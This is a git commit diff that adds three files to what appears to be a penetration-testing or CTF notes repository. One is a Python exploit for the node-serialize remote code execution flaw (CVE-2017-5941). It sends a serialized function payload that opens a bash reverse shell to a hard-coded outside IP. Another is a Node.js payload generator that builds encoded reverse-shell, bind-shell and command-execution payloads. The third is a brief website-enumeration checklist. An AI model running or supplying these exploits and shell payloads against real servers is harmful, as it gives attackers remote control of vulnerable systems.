bump
This commit is contained in:
parent
d9243ba0b6
commit
cbfc4137ba
|
@ -0,0 +1,47 @@
|
|||
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
|
||||
# Exploit Author: UndeadLarva
|
||||
# Software Link: https://www.npmjs.com/package/node-serialize
|
||||
# Version: 0.0.4
|
||||
# CVE: CVE-2017-5941
|
||||
|
||||
import requests
|
||||
import re
|
||||
import base64
|
||||
import sys
|
||||
|
||||
url = 'http://10.10.216.3/' # change this
|
||||
|
||||
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
|
||||
"return function () {"
|
||||
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
|
||||
"console.log('still inside');"
|
||||
"const { exec } = require('child_process');"
|
||||
"exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1');" # change this
|
||||
"}"
|
||||
"})(require('http').ServerResponse.prototype.end)")
|
||||
|
||||
# rce = "_$$ND_FUNC$$_process.exit(0)"
|
||||
#code ="_$$ND_FUNC$$_console.log('behind you')"
|
||||
#code = "_$$ND_FUNC$$_" + "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"
|
||||
#code = "_$$ND_FUNC$$_" + payload
|
||||
|
||||
code = "_$$ND_FUNC$$_console.log(1)()"
|
||||
#code = "_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });()"
|
||||
#string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
|
||||
#code = "return function(){exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1')}();" # change this
|
||||
code = "return function(){exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1')}();"
|
||||
string = '{"email": "'+code+'"}'
|
||||
|
||||
print code
|
||||
|
||||
cookie = {'session':base64.b64encode(string)}
|
||||
|
||||
response = requests.post(url+"?email="+code).text
|
||||
print response
|
||||
|
||||
#try:
|
||||
# response = requests.get(url, cookies=cookie).text
|
||||
# print response
|
||||
#except requests.exceptions.RequestException as e:
|
||||
# print('Oops!')
|
||||
# sys.exit(1)
|
|
@ -0,0 +1,12 @@
|
|||
# Website Enumeration
|
||||
|
||||
* `robots.txt`
|
||||
* [Favicon](https://wiki.owasp.org/index.php/OWASP_favicon_database), `curl` target and `md5sum`
|
||||
* `sitemap.xml`
|
||||
* Headers, `curl <site>` including `-I` or `-v` parameters
|
||||
* Check Components of the website, like blog frameworks, shops.
|
||||
* User Wappalyzer
|
||||
* Snapshots of the site via waybackmachine
|
||||
* Check repos of the site
|
||||
* Check buckets
|
||||
* Fuzz
|
|
@ -0,0 +1,129 @@
|
|||
#!/usr/bin/python
|
||||
# Author: Hd7exploit
|
||||
# hd7exploit.wordpress.com
|
||||
# Based on https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
|
||||
import getopt, sys
|
||||
|
||||
def usage():
|
||||
print '''
|
||||
Usage: %s <TYPE> <HOST> <PORT> <ENCODE>
|
||||
|
||||
Help:
|
||||
-c : Run some linux commands (ls,cat...)
|
||||
-r : Get payload reverse shell
|
||||
-b : Get payload bind shell
|
||||
-h : IP address in case of reverse shell
|
||||
-p : Port
|
||||
-e : Encode shell
|
||||
-o : Create a object contain payload with Immediately invoked function expression (IIFE)
|
||||
''' % (sys.argv[0])
|
||||
|
||||
try:
|
||||
opts, args = getopt.getopt(sys.argv[1:], "c:h:rbp:eo", ["help"])
|
||||
if not opts:
|
||||
usage()
|
||||
sys.exit()
|
||||
except getopt.GetoptError:
|
||||
usage()
|
||||
sys.exit(2)
|
||||
|
||||
type = host = port = command = ""
|
||||
encode = False
|
||||
object = False
|
||||
for o, a in opts:
|
||||
if o == "-r":
|
||||
type = 'REVERSE'
|
||||
if o == "-b":
|
||||
type = 'BIND'
|
||||
if o == "-h":
|
||||
host = a
|
||||
if o == "-o":
|
||||
object = True
|
||||
if o == "-p":
|
||||
port = a
|
||||
if o == "-c":
|
||||
type = 'COMMAND'
|
||||
command = a
|
||||
if o == "-e":
|
||||
encode = True
|
||||
if o == "--help":
|
||||
usage()
|
||||
sys.exit()
|
||||
|
||||
def get_reverse_shell():
|
||||
return '''
|
||||
var net = require('net');
|
||||
var spawn = require('child_process').spawn;
|
||||
HOST="%s";
|
||||
PORT="%s";
|
||||
TIMEOUT="5000";
|
||||
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
|
||||
function c(HOST,PORT) {
|
||||
var client = new net.Socket();
|
||||
client.connect(PORT, HOST, function() {
|
||||
var sh = spawn('/bin/sh',[]);
|
||||
client.write("Connected!\\n");
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
sh.on('exit',function(code,signal){
|
||||
client.end("Disconnected!\\n");
|
||||
});
|
||||
});
|
||||
client.on('error', function(e) {
|
||||
setTimeout(c(HOST,PORT), TIMEOUT);
|
||||
});
|
||||
}
|
||||
c(HOST,PORT);
|
||||
''' % (host, port)
|
||||
|
||||
def get_bind_shell():
|
||||
return '''
|
||||
var net = require('net');
|
||||
var spawn = require('child_process').spawn;
|
||||
PORT="%s";
|
||||
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
|
||||
var server = net.createServer(function (c) {
|
||||
var sh = spawn('/bin/sh', ['-i']);
|
||||
c.pipe(sh.stdin);
|
||||
sh.stdout.pipe(c);
|
||||
sh.stderr.pipe(c);
|
||||
});
|
||||
server.listen(PORT);
|
||||
''' % (port)
|
||||
|
||||
|
||||
def get_command(command):
|
||||
return '''
|
||||
require('child_process').exec('%s', function(error, stdout, stderr) {
|
||||
console.log(error)
|
||||
console.log(stdout)
|
||||
})
|
||||
''' % (command)
|
||||
|
||||
def encode_string(string):
|
||||
string_encoded = ''
|
||||
for char in string:
|
||||
string_encoded += "," + str(ord(char))
|
||||
return string_encoded[1:]
|
||||
|
||||
payload = ""
|
||||
if type == 'BIND':
|
||||
payload = get_bind_shell()
|
||||
elif type == 'REVERSE':
|
||||
payload = get_reverse_shell()
|
||||
else:
|
||||
payload = get_command(command);
|
||||
|
||||
if encode:
|
||||
payload = encode_string(payload)
|
||||
|
||||
if object:
|
||||
payload = '''
|
||||
{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(%s))}()"}
|
||||
''' % (payload)
|
||||
|
||||
print '''
|
||||
=======> Happy hacking <======
|
||||
'''
|
||||
print payload
|
Loading…
Reference in New Issue